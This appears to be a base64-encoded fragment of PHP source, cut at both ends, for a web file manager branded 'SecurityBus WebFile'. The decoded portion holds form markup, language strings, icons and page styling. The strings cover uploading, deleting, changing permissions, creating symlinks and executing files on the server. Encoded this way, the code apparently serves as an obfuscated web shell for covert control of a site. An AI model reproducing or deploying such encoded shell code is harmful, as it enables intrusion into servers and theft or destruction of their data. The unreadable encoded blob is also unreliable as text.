GFzc3dkKSB7DQoJCWVjaG8gJw0KCScgLiB3b3JkKCd1c2VyJykgLiAnOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz4NCgknIC4gd29yZCgncGFzc3dvcmQnKSAuICc6IDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdhZGQnKSAuICciIC8+DQoNCgk8aHIgLz4NCic7DQoNCgl9DQoNCglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0YWNjZXNzKSB7DQoJCWVjaG8gJw0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJhc2ljX2F1dGgiIHZhbHVlPSInIC4gd29yZCgnYWRkX2Jhc2ljX2F1dGgnKSAuICciIC8+DQoNCgk8aHIgLz4NCic7DQoNCgl9DQoNCgllY2hvICcNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJlZGl0IiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSInIC4gd29yZCgncmVzZXQnKSAuICciIGlkPSJyZWRfYnV0dG9uIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNhdmUiIHZhbHVlPSInIC4gd29yZCgnc2F2ZScpIC4gJyIgaWQ9ImdyZWVuX2J1dHRvbiIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA1MHB4IiAvPg0KDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCglodG1sX2Zvb3RlcigpOw0KDQp9DQoNCmZ1bmN0aW9uIHNwYWNlciAoKSB7DQoJZ2xvYmFsICRjb2xzOw0KDQoJZWNobyAnPHRyPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBzdHlsZT0iaGVpZ2h0OiAxZW0iPjwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiB0ZXh0ZmllbGRzaXplICgkY29udGVudCkgew0KDQoJJHNpemUgPSBzdHJsZW4oJGNvbnRlbnQpICsgNTsNCglpZiAoJHNpemUgPCAzMCkgJHNpemUgPSAzMDsNCg0KCXJldHVybiAkc2l6ZTsNCg0KfQ0KDQpmdW5jdGlvbiByZXF1ZXN0X2R1bXAgKCkgew0KDQoJZm9yZWFjaCAoJF9SRVFVRVNUIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJCWVjaG8gIlx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiIiAuIGh0bWwoJGtleSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJHZhbHVlKSAuICJcIiAvPlwNCiI7DQoJfQ0KDQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gaHRtbCAoJHN0cmluZykgew0KCWdsb2JhbCAkc2l0ZV9jaGFyc2V0Ow0KCXJldHVybiBodG1sZW50aXRpZXMoJHN0cmluZywgRU5UX0NPTVBBVCwgJHNpdGVfY2hhcnNldCk7DQp9DQoNCmZ1bmN0aW9uIHdvcmQgKCR3b3JkKSB7DQoJZ2xvYmFsICR3b3JkcywgJHdvcmRfY2hhcnNldDsNCglyZXR1cm4gaHRtbGVudGl0aWVzKCR3b3Jkc1skd29yZF0sIEVOVF9DT01QQVQsICR3b3JkX2NoYXJzZXQpOw0KfQ0KDQpmdW5jdGlvbiBwaHJhc2UgKCRwaHJhc2UsICRhcmd1bWVudHMpIHsNCglnbG9iYWwgJHdvcmRzOw0KCXN0YXRpYyAkc2VhcmNoOw0KDQoJaWYgKCFpc19hcnJheSgkc2VhcmNoKSkgZm9yICgkaSA9IDE7ICRpIDw9IDg7ICRpKyspICRzZWFyY2hbXSA9ICIlJGkiOw0KDQoJZm9yICgkaSA9IDA7ICRpIDwgc2l6ZW9mKCRhcmd1bWVudHMpOyAkaSsrKSB7DQoJCSRhcmd1bWVudHNbJGldID0gbmwyYnIoaHRtbCgkYXJndW1lbnRzWyRpXSkpOw0KCX0NCg0KCSRyZXBsYWNlID0gYXJyYXkoJ3snID0+ICc8cHJlPicsICd9JyA9Pic8L3ByZT4nLCAnWycgPT4gJzxiPicsICddJyA9PiAnPC9iPicpOw0KDQoJcmV0dXJuIHN0cl9yZXBsYWNlKCRzZWFyY2gsICRhcmd1bWVudHMsIHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJHJlcGxhY2UpLCAkcmVwbGFjZSwgbmwyYnIoaHRtbCgkd29yZHNbJHBocmFzZV0pKSkpOw0KDQp9DQoNCmZ1bmN0aW9uIGdldHdvcmRzICgkbGFuZykgew0KCWdsb2JhbCAkd29yZF9jaGFyc2V0LCAkZGF0ZV9mb3JtYXQ7DQoNCglzd2l0Y2ggKCRsYW5nKSB7DQoJY2FzZSAnaXQnOg0KICAgIGRlZmF1bHQ6DQoJCSRkYXRlX2Zvcm1hdCA9ICdkLW0tWSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQoNCgkJcmV0dXJuIGFycmF5KA0KJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsDQonZmlsZScgPT4gJ0ZpbGUnLA0KJ2ZpbGVuYW1lJyA9PiAnTm9tZSBGaWxlJywNCg0KJ3NpemUnID0+ICdEaW1lbnNpb25pJywNCidwZXJtaXNzaW9uJyA9PiAnUGVybWVzc2knLA0KJ293bmVyJyA9PiAnUHJvcHJpZXRhcmlvJywNCidncm91cCcgPT4gJ0dydXBwbycsDQonb3RoZXInID0+ICdBbHRybycsDQonZnVuY3Rpb25zJyA9PiAnRnVuemlvbmknLA0KDQoncmVhZCcgPT4gJ2xlZ2dpJywNCid3cml0ZScgPT4gJ3Njcml2aScsDQonZXhlY3V0ZScgPT4gJ2VzZWd1aScsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWEgbGluayBzaW1ib2xpY28nLA0KJ2RlbGV0ZScgPT4gJ2NhbmNlbGxhJywNCidyZW5hbWUnID0+ICdyaW5vbWluYScsDQonbW92ZScgPT4gJ3Nwb3N0YScsDQonY29weScgPT4gJ2NvcGlhJywNCidlZGl0JyA9PiAnbW9kaWZpY2EnLA0KJ2Rvd25sb2FkJyA9PiAnZG93bmxvYWQnLA0KJ3VwbG9hZCcgPT4gJ3VwbG9hZCcsDQonY3JlYXRlJyA9PiAnY3JlYScsDQonY2hhbmdlJyA9PiAnY2FtYmlhJywNCidzYXZlJyA9PiAnc2FsdmEnLA0KJ3NldCcgPT4gJ2ltcG9zdGEnLA0KJ3Jlc2V0JyA9PiAncmVpbXBvc3RhJywNCidyZWxhdGl2ZScgPT4gJ1BlcmNvcnNvIHJlbGF0aXZvIHBlciBsYSBkZXN0aW5hemlvbmUnLA0KDQoneWVzJyA9PiAnU2knLA0KJ25vJyA9PiAnTm8nLA0KJ2JhY2snID0+ICdpbmRpZXRybycsDQonZGVzdGluYXRpb24nID0+ICdEZXN0aW5hemlvbmUnLA0KJ3N5bWxpbmsnID0+ICdMaW5rIHNpbWJvbGljbycsDQonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywNCg0KJ3VzZXInID0+ICdVc2VyJywNCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywNCidhZGQnID0+ICdhZ2dpdW5naScsDQonYWRkX2Jhc2ljX2F1dGgnID0+ICdhZ2dpdW5naSBhdXRlbnRpY2F6aW9uZSBiYXNlJywNCg0KJ3VwbG9hZGVkJyA9PiAnIlslMV0iICBzdGF0byBjYXJpY2F0by4nLA0KJ25vdF91cGxvYWRlZCcgPT4gJyJbJTFdIiBub24gIHN0YXRvIGNhcmljYXRvLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgZXNpc3RlIGdpPyAuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iICBzdGF0byBjcmVhdG8uJywNCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBub24gIHN0YXRvIGNyZWF0by4nLA0KJ3JlYWxseV9kZWxldGUnID0+ICdDYW5jZWxsbyBxdWVzdGkgZmlsZSA/JywNCidkZWxldGVkJyA9PiAiUXVlc3RpIGZpbGUgc29ubyBzdGF0aSBjYW5jZWxsYXRpOlwNClslMV0iLA0KJ25vdF9kZWxldGVkJyA9PiAiUXVlc3RpIGZpbGUgbm9uIHBvc3Nvbm8gZXNzZXJlIGNhbmNlbGxhdGk6XA0KWyUxXSIsDQoncmVuYW1lX2ZpbGUnID0+ICdGaWxlIHJpbm9taW5hdG86JywNCidyZW5hbWVkJyA9PiAnIlslMV0iICBzdGF0byByaW5vbWluYXRvIGluICJbJTJdIi4nLA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0gbm9uICBzdGF0byByaW5vbWluYXRvIGluICJbJTJdIi4nLA0KJ21vdmVfZmlsZXMnID0+ICdTcG9zdG8gcXVlc3RpIGZpbGU6JywNCidtb3ZlZCcgPT4gIlF1ZXN0aSBmaWxlIHNvbm8gc3RhdGkgc3Bvc3RhdGkgaW4gXCJbJTJdXCI6XA0KWyUxXSIsDQonbm90X21vdmVkJyA9PiAiUXVlc3RpIGZpbGUgbm9uIHBvc3Nvbm8gZXNzZXJlIHNwb3N0YXRpIGluIFwiWyUyXVwiOlwNClslMV0iLA0KJ2NvcHlfZmlsZXMnID0+ICdDb3BpbyBxdWVzdGkgZmlsZScsDQonY29waWVkJyA9PiAiUXVlc3RpIGZpbGUgc29ubyBzdGF0aSBjb3BpYXRpIGluIFwiWyUyXVwiOlwNClslMV0iLA0KJ25vdF9jb3BpZWQnID0+ICJRdWVzdGkgZmlsZSBub24gcG9zc29ubyBlc3NlcmUgY29waWF0aSBpbiBcIlslMl1cIjpcDQpbJTFdIiwNCidub3RfZWRpdGVkJyA9PiAnIlslMV0iIG5vbiBwdT8gZXNzZXJlIG1vZGlmaWNhdG8uJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiICBzdGF0byBlc2VndWl0byBjb24gc3VjY2Vzc286XA0KeyUyfSIsDQonbm90X2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIgbm9uICBzdGF0byBlc2VndWl0byBjb24gc3VjY2Vzc29cDQp7JTJ9IiwNCidzYXZlZCcgPT4gJyJbJTFdIiAgc3RhdG8gc2FsdmF0by4nLA0KJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBub24gIHN0YXRvIHNhbHZhdG8uJywNCidzeW1saW5rZWQnID0+ICdJbCBsaW5rIHNpYW1ib2xpY28gZGEgIlslMl0iIGEgIlslMV0iICBzdGF0byBjcmVhdG8uJywNCidub3Rfc3ltbGlua2VkJyA9PiAnSWwgbGluayBzaWFtYm9saWNvIGRhICJbJTJdIiBhICJbJTFdIiBub24gIHN0YXRvIGNyZWF0by4nLA0KJ3Blcm1pc3Npb25fZm9yJyA9PiAnUGVybWVzc2kgZGkgIlslMV0iOicsDQoncGVybWlzc2lvbl9zZXQnID0+ICdJIHBlcm1lc3NpIGRpICJbJTFdIiBzb25vIHN0YXRpIGltcG9zdGF0aSBbJTJdLicsDQoncGVybWlzc2lvbl9ub3Rfc2V0JyA9PiAnSSBwZXJtZXNzaSBkaSAiWyUxXSIgbm9uIHNvbm8gc3RhdGkgaW1wb3N0YXRpIFslMl0uJywNCidub3RfcmVhZGFibGUnID0+ICciWyUxXSIgbm9uIHB1PyBlc3NlcmUgbGV0dG8uJw0KCQkpOw0KDQoJY2FzZSAnZW4nOg0KDQoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQoNCgkJcmV0dXJuIGFycmF5KA0KJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsDQonZmlsZScgPT4gJ0ZpbGUnLA0KJ2ZpbGVuYW1lJyA9PiAnRmlsZW5hbWUnLA0KDQonc2l6ZScgPT4gJ1NpemUnLA0KJ3Blcm1pc3Npb24nID0+ICdQZXJtaXNzaW9uJywNCidvd25lcicgPT4gJ093bmVyJywNCidncm91cCcgPT4gJ0dyb3VwJywNCidvdGhlcicgPT4gJ090aGVycycsDQonZnVuY3Rpb25zJyA9PiAnRnVuY3Rpb25zJywNCg0KJ3JlYWQnID0+ICdyZWFkJywNCid3cml0ZScgPT4gJ3dyaXRlJywNCidleGVjdXRlJyA9PiAnZXhlY3V0ZScsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWF0ZSBzeW1saW5rJywNCidkZWxldGUnID0+ICdkZWxldGUnLA0KJ3JlbmFtZScgPT4gJ3JlbmFtZScsDQonbW92ZScgPT4gJ21vdmUnLA0KJ2NvcHknID0+ICdjb3B5JywNCidlZGl0JyA9PiAnZWRpdCcsDQonZG93bmxvYWQnID0+ICdkb3dubG9hZCcsDQondXBsb2FkJyA9PiAndXBsb2FkJywNCidjcmVhdGUnID0+ICdjcmVhdGUnLA0KJ2NoYW5nZScgPT4gJ2NoYW5nZScsDQonc2F2ZScgPT4gJ3NhdmUnLA0KJ3NldCcgPT4gJ3NldCcsDQoncmVzZXQnID0+ICdyZXNldCcsDQoncmVsYXRpdmUnID0+ICdSZWxhdGl2ZSBwYXRoIHRvIHRhcmdldCcsDQoNCid5ZXMnID0+ICdZZXMnLA0KJ25vJyA9PiAnTm8nLA0KJ2JhY2snID0+ICdiYWNrJywNCidkZXN0aW5hdGlvbicgPT4gJ0Rlc3RpbmF0aW9uJywNCidzeW1saW5rJyA9PiAnU3ltbGluaycsDQonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywNCg0KJ3VzZXInID0+ICdVc2VyJywNCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywNCidhZGQnID0+ICdhZGQnLA0KJ2FkZF9iYXNpY19hdXRoJyA9PiAnYWRkIGJhc2ljLWF1dGhlbnRpZmljYXRpb24nLA0KDQondXBsb2FkZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gdXBsb2FkZWQuJywNCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIgY291bGQgbm90IGJlIHVwbG9hZGVkLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgYWxyZWFkeSBleGlzdHMuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywNCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgY3JlYXRlZC4nLA0KJ3JlYWxseV9kZWxldGUnID0+ICdEZWxldGUgdGhlc2UgZmlsZXM/JywNCidkZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMgaGF2ZSBiZWVuIGRlbGV0ZWQ6XA0KWyUxXSIsDQonbm90X2RlbGV0ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgZGVsZXRlZDpcDQpbJTFdIiwNCidyZW5hbWVfZmlsZScgPT4gJ1JlbmFtZSBmaWxlOicsDQoncmVuYW1lZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiByZW5hbWVkIHRvICJbJTJdIi4nLA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0gY291bGQgbm90IGJlIHJlbmFtZWQgdG8gIlslMl0iLicsDQonbW92ZV9maWxlcycgPT4gJ01vdmUgdGhlc2UgZmlsZXM6JywNCidtb3ZlZCcgPT4gIlRoZXNlIGZpbGVzIGhhdmUgYmVlbiBtb3ZlZCB0byBcIlslMl1cIjpcDQpbJTFdIiwNCidub3RfbW92ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgbW92ZWQgdG8gXCJbJTJdXCI6XA0KWyUxXSIsDQonY29weV9maWxlcycgPT4gJ0NvcHkgdGhlc2UgZmlsZXM6JywNCidjb3BpZWQnID0+ICJUaGVzZSBmaWxlcyBoYXZlIGJlZW4gY29waWVkIHRvIFwiWyUyXVwiOlwNClslMV0iLA0KJ25vdF9jb3BpZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgY29waWVkIHRvIFwiWyUyXVwiOlwNClslMV0iLA0KJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIgY2FuIG5vdCBiZSBlZGl0ZWQuJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIGhhcyBiZWVuIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseTpcDQp7JTJ9IiwNCidub3RfZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBjb3VsZCBub3QgYmUgZXhlY3V0ZWQgc3VjY2Vzc2Z1bGx5OlwNCnslMn0iLA0KJ3NhdmVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIHNhdmVkLicsDQonbm90X3NhdmVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSBzYXZlZC4nLA0KJ3N5bWxpbmtlZCcgPT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywNCidub3Rfc3ltbGlua2VkJyA9PiAnU3ltbGluayBmcm9tICJbJTJdIiB0byAiWyUxXSIgY291bGQgbm90IGJlIGNyZWF0ZWQuJywNCidwZXJtaXNzaW9uX2ZvcicgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0iOicsDQoncGVybWlzc2lvbl9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiB3YXMgc2V0IHRvIFslMl0uJywNCidwZXJtaXNzaW9uX25vdF9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiBjb3VsZCBub3QgYmUgc2V0IHRvIFslMl0uJywNCidub3RfcmVhZGFibGUnID0+ICciWyUxXSIgY2FuIG5vdCBiZSByZWFkLicNCgkJKTsNCg0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBnZXRpbWFnZSAoJGltYWdlKSB7DQoJc3dpdGNoICgkaW1hZ2UpIHsNCgljYXNlICdmaWxlJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy93QUFBUC8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJdG5JR0p4ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNYdWNiU2FidW5qbk1vaHE4Q0FEc0EnKTsNCgljYXNlICdmb2xkZXInOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFKbVptZi8vLzh6TXpQLy8veUg1QkFIb0F3TUFMQUFBQUFBUkFBMEFBQUlxbkkrWndLd2JZZ1RQdEl1ZGxid0xPZ0NCUUpZbUNZcm4rbTNzbVk1dkdjKzBhN2Roamg3WmJ5Z0FBRHNBJyk7DQoJY2FzZSAnaGlkZGVuX2ZpbGUnOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFNd0FBUC8vLzVtWm1mLy8veUg1QkFIb0F3TUFMQUFBQUFBUkFBMEFBQUl0bklHSnhnMEI0MnJzaVN2Q0EvUkVtWFFXaG1uaWgzTFVTR2FxZzM1dkZiU1h1Y2JTYWJ1bmpuTW9ocThDQURzQScpOw0KCWNhc2UgJ2xpbmsnOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUtJRUFKbVptZi8vL3dBQUFNd0FBUC8vL3dBQUFBQUFBQUFBQUNINUJBSG9Bd1FBTEFBQUFBQVJBQTBBQUFNNVNBcmNyRENDUU91TGNJb3R3Z1RZVWxsTk9BMER4WGttaFk0c2hNNXpzTVVLVFk4Z05nVXZXNmNuQWFaZ3hNeUlNMnpCTENhSGxKZ0FBRHNBJyk7DQoJY2FzZSAnc21pbGV5JzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRUNBQUFBQVAvL0FQLy8vd0FBQUNINUJBSG9Bd0lBTEFBQUFBQVJBQTBBQUFJc2xJK3BBdTJ3REFpejBqV0QzaHFtQnpaZjFWQ2xlSlFjaDBya2RucHBCM2RLWnVJeWdyTVJFL29KRHdVQU93QT0nKTsNCgljYXNlICdhcnJvdyc6DQoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSUFCQUFBQUFQLy8veUg1QkFFS0FBRUFMQUFBQUFBUkFBMEFBQUlkakE5d3k2Z05RNHB3VW1hdjB5dm4raGhKaUkzbUNKNm90cklreHhRQU93PT0nKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIGh0bWxfaGVhZGVyICgpIHsNCglnbG9iYWwgJHNpdGVfY2hhcnNldDsNCg0KCWVjaG8gPDw8RU5EDQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIg0KICAgICAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9JHNpdGVfY2hhcnNldCIgLz4NCg0KPHRpdGxlPlNlY3VyaXR5QnVzIFdlYkZpbGU8L3RpdGxlPg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSB7IGZvbnQ6IHNtYWxsIHNhbnMtc2VyaWY7IHRleHQtYWxpZ246IGNlbnRlciB9DQppbWcgeyB3aWR0aDogMTdweDsgaGVpZ2h0OiAxM3B4IH0NCmEsIGE6dmlzaXRlZCB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6IG5hdnkgfQ0KaHIgeyBib3JkZXItc3R5bGU6IG5vbmU7IGhlaWdodDogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7IGNvbG9yOiBzaWx2ZXIgfQ0KI21haW4geyBtYXJnaW4tdG9wOiA2cHQ7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IGJvcmRlci1zcGFjaW5nOiAxcHggfQ0KI21haW4gdGggeyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAzcHQgM3B0IDBwdCAzcHQgfQ0KLmxpc3RpbmcgdGgsIC5saXN0aW5nIHRkIHsgcGFkZGluZzogMXB4IDNwdCAwIDNwdCB9DQoubGlzdGluZyB0aCB7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQoubGlzdGluZyB0ZCB7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IGJhY2tncm91bmQ6IHdoaXRlIH0NCi5saXN0aW5nIC5jaGVja2JveCB7IHRleHQtYWxpZ246IGNlbnRlciB9DQoubGlzdGluZyAuZmlsZW5hbWUgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nIC5zaXplIHsgdGV4dC1hbGlnbjogcmlnaHQgfQ0KLmxpc3RpbmcgLnBlcm1pc3Npb25faGVhZGVyIHsgdGV4dC1hbGlnbjogbGVmdCB9DQoubGlzdGluZyAucGVybWlzc2lvbiB7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2UgfQ0KLmxpc3RpbmcgLm93bmVyIHsgdGV4dC1hbGlnbjogbGVmdCB9DQoubGlzdGluZyAuZ3JvdXAgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nIC5mdW5jdGlvbnMgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nX2Zvb3RlciB0ZCB7IGJhY2tncm91bmQ6ICNlZWU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQojZGlyZWN0b3J5LCAjdXBsb2FkLCAjY3JlYXRlLCAubGlzdGluZ19mb290ZXIgdGQsICNlcnJvciB0ZCwgI25vdGljZSB0ZCB7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDNwdCB9DQojZGlyZWN0b3J5IHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiN1cGxvYWQgeyBwYWRkaW5nLXRvcDogMWVtIH0NCiNjcmVhdGUgeyBwYWRkaW5nLWJvdHRvbTogMWVtIH0NCi5zbWFsbCwgLnNtYWxsIG9wdGlvbiB7IGZvbnQtc2l6ZTogeC1zbWFsbCB9DQp0ZXh0YXJlYSB7IGJvcmRlcjogbm9uZTsgYmFja2dyb3VuZDogd2hpdGUgfQ0KdGFibGUuZGlhbG9nIHsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9DQp0ZC5kaWFsb2cgeyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAxZXg7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlcjsgdGV4dC1hbGlnbjogY2VudGVyIH0NCiNwZXJtaXNzaW9uIHsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9DQojcGVybWlzc2lvbiB0ZCB7IHBhZGRpbmctbGVmdDogM3B0OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7IHRleHQtYWxpZ246IGNlbnRlciB9DQp0ZC5wZXJtaXNzaW9uX2FjdGlvbiB7IHRleHQtYWxpZ246IHJpZ2h0IH0NCiNzeW1saW5rIHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiNzeW1saW5rIHRkIHsgdGV4dC1hbGlnbjogbGVmdDsgcGFkZGluZzogM3B0IH0NCiNyZWRfYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzQwMCB9DQojZ3JlZW5fYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzA0MCB9DQojZXJyb3IgdGQgeyBiYWNrZ3JvdW5kOiBtYXJvb247IGNvbG9yOiB3aGl0ZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiNub3RpY2UgdGQgeyBiYWNrZ3JvdW5kOiBncmVlbjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI25vdGljZSBwcmUsICNlcnJvciBwcmUgeyBiYWNrZ3JvdW5kOiBzaWx2ZXI7IGNvbG9yOiBibGFjazsgcGFkZGluZzogMWV4OyBtYXJnaW4tbGVmdDogMWV4OyBtYXJnaW4tcmlnaHQ6IDFleCB9DQpjb2RlIHsgZm9udC1zaXplOiAxMnB0IH0NCnRkIHsgd2hpdGUtc3BhY2U6IG5vd3JhcCB9DQo8L3N0eWxlPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQo8IS0tDQpmdW5jdGlvbiBhY3RpdmF0ZSAobmFtZSkgew0KCWlmIChkb2N1bWVudCAmJiBkb2N1bWVudC5mb3Jtc1swXSAmJiBkb2N1bWVudC5mb3Jtc1swXS5lbGVtZW50c1snZm9jdXMnXSkgew0KCQlkb2N1bWVudC5mb3Jtc1swXS5lbGVtZW50c1snZm9jdXMnXS52YWx1ZSA9IG5hbWU7DQoJfQ0KfQ0KLy8tLT4NCjwvc2NyaXB0Pg0KDQo8L2hlYWQ+DQo8Ym9keT4NCg0KDQpFTkQ7DQoNCn0NCg0KZnVuY3Rpb24gaHRtbF9mb290ZXIgKCkgew0KDQoJZWNobyA8PDxFTkQNCjwvYm9keT4NCjwvaHRtbD4NCkVORDsNCg0KfQ0KDQpmdW5jdGlvbiBub3RpY2UgKCRwaHJhc2UpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgkkYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsNCglhcnJheV9zaGlmdCgkYXJncyk7DQoNCglyZXR1cm4gJzx0ciBpZD0ibm90aWNlIj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyI+JyAuIHBocmFzZSgkcGhyYXNlLCAkYXJncykgLiAnPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGVycm9yICgkcGhyYXNlKSB7DQoJZ2xvYmFsICRjb2xzOw0KDQoJJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7DQoJYXJyYXlfc2hpZnQoJGFyZ3MpOw0KDQoJcmV0dXJuICc8dHIgaWQ9ImVycm9yIj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyI+JyAuIHBocmFzZSgkcGhyYXNlLCAkYXJncykgLiAnPC90ZD4NCjwvdHI+D